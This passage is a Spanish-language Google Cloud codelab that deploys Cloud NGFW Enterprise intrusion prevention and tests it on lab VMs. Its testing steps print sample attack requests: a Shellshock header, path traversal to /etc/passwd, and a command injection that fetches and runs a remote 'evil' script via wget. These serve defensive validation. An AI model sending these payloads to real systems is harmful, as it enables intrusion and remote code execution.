1. Introducción
Cloud Next Generation Firewall (NGFW)
Cloud Next Generation Firewall es un servicio de firewall completamente distribuido con capacidades de protección avanzada, microsegmentación y cobertura generalizada para proteger tus cargas de trabajo de Google Cloud de los ataques internos y externos.
La NGFW de Cloud tiene los siguientes beneficios:
- Servicio de firewall distribuido: Cloud NGFW proporciona una aplicación con estado basada en el host completamente distribuida en cada carga de trabajo para habilitar una arquitectura de seguridad de confianza cero.
- Implementación y configuración simplificadas: Cloud NGFW implementa políticas de firewall jerárquicas y de red que se pueden adjuntar a un nodo de jerarquía de recursos. Estas políticas proporcionan una experiencia de firewall coherente en toda la jerarquía de recursos de Google Cloud.
- Control detallado y microsegmentación: La combinación de políticas de firewall y etiquetas administradas por Identity and Access Management (IAM) proporciona un control detallado para el tráfico norte-sur y este-oeste, hasta una sola VM, en redes y organizaciones de nube privada virtual (VPC).
Cloud NGFW está disponible en los siguientes niveles:
- Cloud Next Generation Firewall Essentials
- Cloud Next Generation Firewall Standard
- Cloud Next Generation Firewall Enterprise
Cloud NGFW Enterprise
Cloud NGFW Enterprise agrega el Servicio de prevención de intrusiones (IPS), una función de capa 7, al tejido distribuido de firewall de Google Cloud. La inspección de TLS se admite para permitir la inspección del tráfico encriptado con TLS, pero está fuera del alcance de este codelab (consulta el codelab empresarial de Cloud NGFW con inspección de TLS).
Ahora puedes implementar inspecciones confiables de firewall de nueva generación (NGFW) de capa 7 con controles detallados, sin realizar ningún cambio en la arquitectura de red ni en la configuración de enrutamiento.
Para activar y, luego, implementar el control de firewall de la capa 7 con IPS, debes realizar las siguientes tareas:
- Crea un conjunto de extremos de firewall zonal administrados por Google Cloud.
- De manera opcional, crea una política de inspección de TLS (no se aborda en este codelab).
- De manera opcional, crea una configuración de confianza (no se aborda en este codelab)
- Asocia estos extremos con las redes de nube privada virtual (VPC) en las que necesitas el servicio de NGFW empresarial de Cloud.
- Realiza cambios simples en tus políticas y reglas de firewall existentes para especificar los perfiles de prevención de amenazas para las diversas rutas de tráfico.
Políticas de firewall de red
La política de firewall de red actúa como un contenedor para las reglas de firewall. Las reglas que se definen en una política de firewall de red no se aplican en ningún lugar hasta que la política esté asociada con una red de VPC. Cada red de VPC puede tener asociada una política de firewall de red. Las políticas de firewall de red admiten etiquetas controladas por IAM (o solo etiquetas) en las reglas de firewall, que reemplazan las etiquetas de red actuales y se pueden usar para proporcionar identidad a la carga de trabajo.
Compartir una política de firewall de red entre redes y la integración con etiquetas controladas por IAM simplifica en gran medida la configuración y administración de los firewalls.
Con la introducción de la política de firewall de red, las políticas de firewall de Google Cloud ahora consisten en los siguientes componentes:
- Política de firewall jerárquica
- Reglas de firewall de VPC
- Política de firewall de red ( global y regional)
Las políticas de firewall jerárquicas son compatibles con los nodos de organización y carpeta dentro de la jerarquía de recursos, mientras que las reglas de firewall de VPC y las políticas de firewall de red se aplican a nivel de VPC. Una gran diferencia entre las reglas de firewall de VPC y las políticas de firewall de red es que las reglas de firewall de VPC solo se pueden aplicar a una sola red de VPC, mientras que las políticas de firewall de red se pueden adjuntar a una sola VPC o a un grupo de VPC, entre otros beneficios, como las actualizaciones por lotes.
Por último, también tenemos las reglas de firewall implícitas que se incluyen en cada red de VPC:
- Una regla de salida cuya acción es permitir, destino es 0.0.0.0/0
- Una regla de entrada cuya acción es deny (rechazar), el origen es 0.0.0.0/0
De forma predeterminada, la secuencia de aplicación se muestra en el siguiente diagrama:
Ten en cuenta que se puede intercambiar el orden de aplicación entre las reglas de firewall de VPC y la política de firewall de red global. Los clientes pueden especificar el orden de aplicación en cualquier momento con un comando gcloud.
Etiquetas administradas por IAM
Las nuevas etiquetas integradas en las reglas de la política de firewall de red son recursos de par clave-valor definidos a nivel de la organización o del proyecto de la jerarquía de recursos de Google Cloud. Como su nombre lo indica, una etiqueta de este tipo contiene un control de acceso de IAM que especifica quién puede hacer qué en la etiqueta. Por ejemplo, los permisos de IAM permiten especificar qué principales pueden asignar valores a las etiquetas y cuáles pueden adjuntarlas a los recursos. Una vez que se aplica una etiqueta a un recurso, las reglas de firewall de red pueden usarla para permitir y denegar el tráfico.
Las etiquetas se adhieren al modelo de recursos de herencia de Google Cloud, lo que significa que las etiquetas y sus valores se transmiten a través de la jerarquía desde sus elementos superiores. Como resultado, las etiquetas se pueden crear en un lugar y, luego, usarlas en otras carpetas y proyectos en toda la jerarquía de recursos. Visita esta página para obtener detalles sobre las etiquetas y la restricción de acceso.
No se deben confundir las etiquetas con las etiquetas de red. Estos últimos son cadenas que se pueden agregar a las instancias de Compute Engine. Se asocian con la instancia y desaparecen cuando esta se da de baja. Las reglas de firewall de VPC pueden incluir etiquetas de red, pero, como no se consideran recursos de la nube, no están sujetas al control de acceso de IAM.
Ten en cuenta que las etiquetas y las etiquetas administradas por IAM se usan indistintamente en este documento.
Qué compilarás
Este codelab requiere un solo proyecto y la capacidad de crear una red de VPC con conectividad pública. En él, se mostrará cómo Cloud NGFW Enterprise puede proporcionar la funcionalidad de IPS de las siguientes maneras:
- Inspección de flujos dentro de la VPC o subred [este-oeste]
- Inspección de flujos de entrada desde Internet [norte-sur]
Los flujos que se inspeccionarán se seleccionarán con los parámetros de coincidencia del firewall de Cloud, incluidos la tupla de 5 elementos (IP de origen, IP de destino, protocolo, puerto de origen y puerto de destino) y las etiquetas. La Inspección de TLS no se incluye en este codelab.
La base de reglas de la política de firewall de red será similar a la siguiente tabla:
Prioridad | Dirección | Destino | Origen | Destino | Acción | Tipo |
100 | Salida | Quarantine_Tag | Cualquiera | Cualquiera | Rechazar | Imprescindibles |
1000 | Entrada | Server_Tag | Rangos de verificación de estado | Cualquiera | Permitir | Imprescindibles |
2000 | Entrada | Cualquiera | Rangos de Identity-Aware Proxy | Cualquiera | Permitir | Imprescindibles |
3000 | Entrada | Cualquiera | Geo, GCTI | Cualquiera | Rechazar | Estándar |
4000 | Salida | Cualquiera | Cualquiera | Geo, GCTI | Rechazar | Estándar |
5000 | Salida | Cualquiera | Cualquiera | FQDN de actualización del sistema | Permitir | Estándar |
6000 | Entrada | Server_Tag | 10.0.0.0/24 | Cualquiera | IPS | Enterprise |
7000 | Entrada | Server_Tag | CloudNAT_IP | Cualquiera | IPS | Enterprise |
Qué aprenderás
- Cómo crear una política de firewall de red global
- Cómo crear y usar etiquetas con la política de firewall de red
- Cómo configurar y usar el servicio de prevención de intrusiones de Cloud NGFW Enterprise
Requisitos
- Proyecto de Google Cloud
- Conocimientos para implementar instancias y configurar componentes de red
- Conocimientos sobre la configuración del firewall de VPC
2. Antes de comenzar
Crea o actualiza variables
En este codelab, se usan $variables para ayudar a implementar la configuración de gcloud en Cloud Shell.
En Cloud Shell, ejecuta los siguientes comandos y reemplaza la información entre corchetes según sea necesario (omite la configuración del proyecto si ya se configuró el deseado). Se usa una variable diferente para los recursos a nivel de la organización si se necesitan varios extremos de firewall, por ejemplo.
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=cloudngfw export org_prefix=cloudngfw export billing_project_id=[project-id]
3. Habilita las APIs
Habilita las APIs si aún no lo hiciste:
gcloud services enable compute.googleapis.com gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. Creación de perfiles de seguridad y extremos de Cloud NGFW Enterprise
Dado que la creación del extremo empresarial de Cloud NGFW tarda alrededor de 20 minutos, se creará primero y la configuración básica se puede realizar en paralelo mientras se crea el extremo.
Crea el perfil de seguridad y el grupo de perfiles de seguridad:
gcloud network-security security-profiles threat-prevention \ create $org_prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $org_prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat
Resultado esperado:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com plete...done. Created security profile group [$org_prefix-spg].
Confirma que los recursos se hayan creado correctamente:
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
Resultado esperado:
NAME: cloudngfw-sp-threat NAME: cloudngfw-spg
Crea el extremo de Cloud NGFW Enterprise:
gcloud network-security firewall-endpoints create $org_prefix-$zone \ --zone=$zone --organization $org_id \ --billing-project $billing_project_id
Ejecuta el siguiente comando para confirmar que se está creando el extremo (ESTADO: CREANDO).
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Resultado esperado (ten en cuenta que el formato de salida puede variar según el cliente que se use):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: CREATING
De manera opcional, ejecuta el siguiente comando para obtener más detalles:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
Resultado esperado:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: CREATING updateTime: '2023-04-25T18:08:45.493499362Z'
El proceso de creación del extremo tarda unos 20 minutos. Continúa con la sección Configuración básica para crear los recursos necesarios en paralelo.
5. Configuración básica
Continúa con las siguientes secciones si prefieres crear los recursos básicos de forma manual.
Red y subred de VPC
Red y subred de VPC
Crea la red y la subred de VPC:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
Crea los Cloud Routers y las puertas de enlace de Cloud NAT:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
Instancias
Crea las instancias del cliente y del servidor web:
gcloud compute instances create $prefix-$zone-www \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2 tcpdump iperf3 -y a2ensite default-ssl a2enmod ssl # Read VM network configuration: md_vm="http://169.254.169.254/computeMetadata/v1/instance/" vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )" filter="{print \$NF}" vm_network="$(curl $md_vm/network-interfaces/0/network \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" vm_zone="$(curl $md_vm/zone \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" # Apache configuration: echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \ tee /var/www/html/index.html systemctl restart apache2' gcloud compute instances create $prefix-$zone-client \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --scopes=compute-ro \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2-utils iperf3 tcpdump -y'
Etiquetas a nivel del proyecto
Si es necesario, asigna los permisos tagAdmin o tagUser al usuario:
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser
Crea la clave y los valores de la etiqueta a nivel del proyecto:
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-quarantine \ --parent=$project_id/$prefix-vpc-tags
Vincula etiquetas a las instancias:
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
Política de firewall de red global
Crea una política de firewall de red global:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise" --global
Crea reglas esenciales del firewall de Cloud para denegar el tráfico de instancias en cuarentena (creadas solo a modo de ejemplo, no se usan en este codelab) y permitir el tráfico de los rangos de verificación de estado y proxy consciente de identidad:
gcloud compute network-firewall-policies rules create 100 \ --description="block quarantined workloads" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=EGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \ --dest-ip-ranges=0.0.0.0/0 gcloud compute network-firewall-policies rules create 1000 \ --description="allow http traffic from health-checks ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22 gcloud compute network-firewall-policies rules create 2000 \ --description="allow ssh traffic from identity-aware-proxy ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:22 \ --direction=INGRESS \ --src-ip-ranges=35.235.240.0/20
Crea reglas estándar del firewall de Cloud para denegar el tráfico de entrada y salida desde o hacia países con embargo, IPs maliciosas conocidas y nodos de salida de ToR, y solo permite el tráfico de salida a FQDN específicos para las actualizaciones del sistema (se crearon solo a modo de ejemplo y no se usan en este codelab):
gcloud compute network-firewall-policies rules create 3000 \ --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=INGRESS \ --src-region-codes CU,IR,KP,SY,XC,XD \ --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips gcloud compute network-firewall-policies rules create 4000 \ --description="block egress traffic to sanctioned countries, known malicious IPs and ToR exit nodes" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=EGRESS \ --dest-region-codes CU,IR,KP,SY,XC,XD \ --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips gcloud compute network-firewall-policies rules create 5000 \ --description "allow system updates" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com
Crea reglas de firewall de Cloud para permitir el tráfico de entrada este-oeste / intrasubred y norte-sur / Internet desde los rangos específicos (estas reglas se actualizarán para habilitar el NGFW empresarial de Cloud):
gcloud compute network-firewall-policies rules create 6000 \ --description "allow ingress internal traffic from clients" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=INGRESS \ --enable-logging \ --layer4-configs all \ --src-ip-ranges=10.0.0.0/24 \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud compute network-firewall-policies rules create 7000 \ --description "allow ingress external traffic to server" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --enable-logging \ --src-ip-ranges=$cloudnatip \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
Asocia la política de firewall de red a la red de VPC:
gcloud compute network-firewall-policies associations create \ --firewall-policy $prefix-fwpolicy \ --network $prefix-vpc \ --name $prefix-fwpolicy-association \ --global-firewall-policy
Balanceador de cargas de red de TCP/UDP externo
Reserva una dirección IP externa y crea el grupo de instancias y la verificación de estado:
gcloud compute addresses create $prefix-$region-nlbip --region=$region gcloud compute instance-groups unmanaged create $prefix-ig \ --zone $zone gcloud compute instance-groups unmanaged add-instances $prefix-ig \ --instances $prefix-$zone-www --zone $zone gcloud compute health-checks create http $prefix-$region-hc-http80 \ --region $region --port 80
Crea el servicio de backend y la regla de reenvío:
gcloud compute backend-services create $prefix-nlb-bes \ --protocol TCP \ --health-checks $prefix-$region-hc-http80 \ --health-checks-region $region \ --region $region gcloud compute backend-services add-backend $prefix-nlb-bes \ --instance-group $prefix-ig \ --instance-group-zone $zone \ --region $region gcloud compute forwarding-rules create $prefix-nlb-ipv4 \ --load-balancing-scheme EXTERNAL \ --region $region \ --ports 80 \ --address $prefix-$region-nlbip \ --backend-service $prefix-nlb-bes
6. Asociación de extremos de Cloud NGFW Enterprise
Vuelve a definir las variables de entorno si es necesario.
Confirma que la creación del extremo de Firewall de Cloud se haya completado correctamente. Continúa solo cuando el estado aparezca como ACTIVO (durante la creación, el estado esperado es CREANDO):
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Resultado esperado (ten en cuenta que el formato de salida puede variar según el cliente que se use):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: ACTIVE
De manera opcional, ejecuta el siguiente comando para obtener más detalles:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
Resultado esperado:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: ACTIVE updateTime: '2023-04-25T18:29:40.840608100Z'
Asocia el extremo de Cloud NGFW Enterprise a la red de VPC:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc --endpoint $org_prefix-$zone \ --organization $org_id
El proceso de asociación tarda unos 10 minutos. Continúa solo cuando el estado aparezca como ACTIVO (el estado esperado es CREANDO durante el proceso de creación):
gcloud network-security firewall-endpoint-associations list
Resultado esperado:
ID: cloudngfw-association LOCATION: [zone] NETWORK: cloudngfw-vpc ENDPOINT: cloudngfw-[zone] STATE: ACTIVE
De manera opcional, ejecuta el siguiente comando para obtener más detalles:
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
Resultado esperado:
createTime: '2023-05-01T22:25:06.218544436Z' firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association network: projects/[project-id]/global/networks/cloudngfw-vpc state: ACTIVE updateTime: '2023-05-01T22:33:06.467596536Z'
7. Reglas de inspección de Cloud NGFW Enterprise
Abre una pestaña nueva y, luego, inicia una conexión SSH a la VM del cliente a través de IAP (tendrás que volver a definir las variables en la pestaña nueva):
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Define las variables requeridas en la sesión de SSH y configúralas (asegúrate de que los valores sean correctos):
export region=[region] export zone=[zone] export prefix=cloudngfw export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)") export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")
Ejecuta curl en ambas IPs para confirmar que se puede acceder a ellas:
curl $target_privateip --max-time 2 curl $target_nlbip --max-time 2
Resultado esperado para ambas solicitudes de curl:
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
Envía ataques de muestra a la IP del servidor interno (tráfico de este a oeste o dentro de la VPC). El servidor web debe responder a todas las solicitudes y confirmar que no hay una inspección o prevención de L7:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3 curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Vuelve a enviar los ataques de muestra a la IP del servidor externo a través de Cloud NAT (tráfico entrante norte-sur) y, de manera similar, el servidor web debería responder a todas las solicitudes:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Resultados esperados para las IP públicas y privadas:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone] <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
Regresa a Cloud Shell y actualiza las reglas de entrada existentes para habilitar la inspección de L7:
gcloud compute network-firewall-policies rules update 6000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg gcloud compute network-firewall-policies rules update 7000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
De manera opcional, describe las reglas de firewall para verificar que ambas se hayan actualizado correctamente:
gcloud compute network-firewall-policies rules describe 6000 \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy
Resultado esperado:
--- action: apply_security_profile_group description: allow ingress internal traffic from tagged clients direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: all srcIpRanges: - 10.0.0.0/24 priority: 800 ruleTupleCount: 4 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
Regla 7000:
gcloud compute network-firewall-policies rules describe 7000 \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy
Resultado esperado:
--- action: apply_security_profile_group description: allow ingress external traffic to server direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: tcp ports: - '80' - ipProtocol: tcp ports: - '443' srcIpRanges: - [cloudnat-ip] priority: 900 ruleTupleCount: 6 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
Regresa a la VM del cliente y vuelve a enviar los ataques de muestra a la IP del servidor interno (inspección de este a oeste o intra-VPC):
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3 curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Vuelve a enviar los ataques de muestra a la IP del servidor externo a través de Cloud NAT (inspección entrante norte-sur):
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
No se reciben respuestas para los primeros ataques según el resultado esperado que se muestra a continuación, lo que confirma que los ataques de alta gravedad ahora se bloquean.
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
Navega a Seguridad de red > Amenazas en la consola de Cloud para verificar los registros (es posible que debas actualizarlos varias veces si los ataques aún no se muestran).
Elige uno de los ataques y haz clic en “Ver registro de auditoría” en el lado derecho (abre en una pestaña nueva para volver fácilmente). Expande el ataque para mostrar los detalles:
De forma opcional, reemplaza el filtro del Explorador de registros por la siguiente consulta:
resource.type="networksecurity.googleapis.com/FirewallEndpoint"
Las entradas del registro de amenazas deben verse de la siguiente manera:
Los paquetes interceptados por Cloud Firewall se pueden verificar con el filtro del Explorador de registros que se indica a continuación (útil para solucionar problemas):
jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"
Continúa con la inspección del tráfico de Internet (opcional) o cierra la sesión de SSH y continúa con el siguiente capítulo para ver los pasos de limpieza.
[Opcional] Inspección del tráfico de Internet
Como se verificó en la sección anterior, los flujos inspeccionados hasta el momento son de subred o VPC (este-oeste) y tráfico entrante de Internet (norte-sur entrante). Cloud NGFW Enterprise también se puede configurar para inspeccionar todo el tráfico de Internet (salida norte-sur) creando una nueva regla de salida con Cloud Shell:
gcloud compute network-firewall-policies rules create 10000 \ --description "inspect all egress internet traffic from clients" \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-ip-ranges=0.0.0.0/0 \ --enable-logging \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
Regresa a la VM del cliente y vuelve a enviar ataques de alta gravedad a la IP del servidor externo:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
Resultado esperado:
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received
Cambia a la pestaña Amenazas en la consola de Cloud para verificar los registros (es posible que debas actualizarlos varias veces). Los ataques deberían haberse identificado y registrado nuevamente, pero ahora la IP de origen es interna porque primero se activa una regla de salida:
Cierra la sesión de SSH y continúa con la siguiente sección para conocer los pasos de limpieza.
8. Pasos de limpieza
Limpieza de componentes de Cloud NGFW Enterprise
Muestra una lista de las asociaciones existentes de Cloud NGFW Enterprise:
gcloud network-security firewall-endpoint-associations list
Borra la asociación de Cloud NGFW Enterprise:
gcloud network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list
Enumera los extremos existentes de Cloud NGFW Enterprise:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Borra el extremo de Cloud NGFW Enterprise, lo que puede tardar unos 20 minutos:
gcloud -q network-security firewall-endpoints delete \ $org_prefix-$zone --zone=$zone --organization $org_id
Ejecuta el siguiente comando para confirmar que se borró el NGFW de Cloud Enterprise:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Borra el grupo de perfiles de seguridad y el perfil de prevención de amenazas:
gcloud -q network-security security-profile-groups delete \ $org_prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $org_prefix-sp-threat \ --organization $org_id \ --location=global
Limpieza de la configuración básica
Continúa con el siguiente paso si prefieres borrar los recursos base.
Define las variables de entorno si es necesario. En Cloud Shell, borra los componentes del balanceador de cargas de red:
gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region gcloud -q compute backend-services delete $prefix-nlb-bes --region $region gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone
Quita instancias:
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
De manera opcional, sigue los pasos que se indican a continuación si se cambiaron los roles de tagAdmin y tagUsers:
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
Quita la clave y los valores de la etiqueta:
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
Borra la política de red y la asociación del firewall de Cloud:
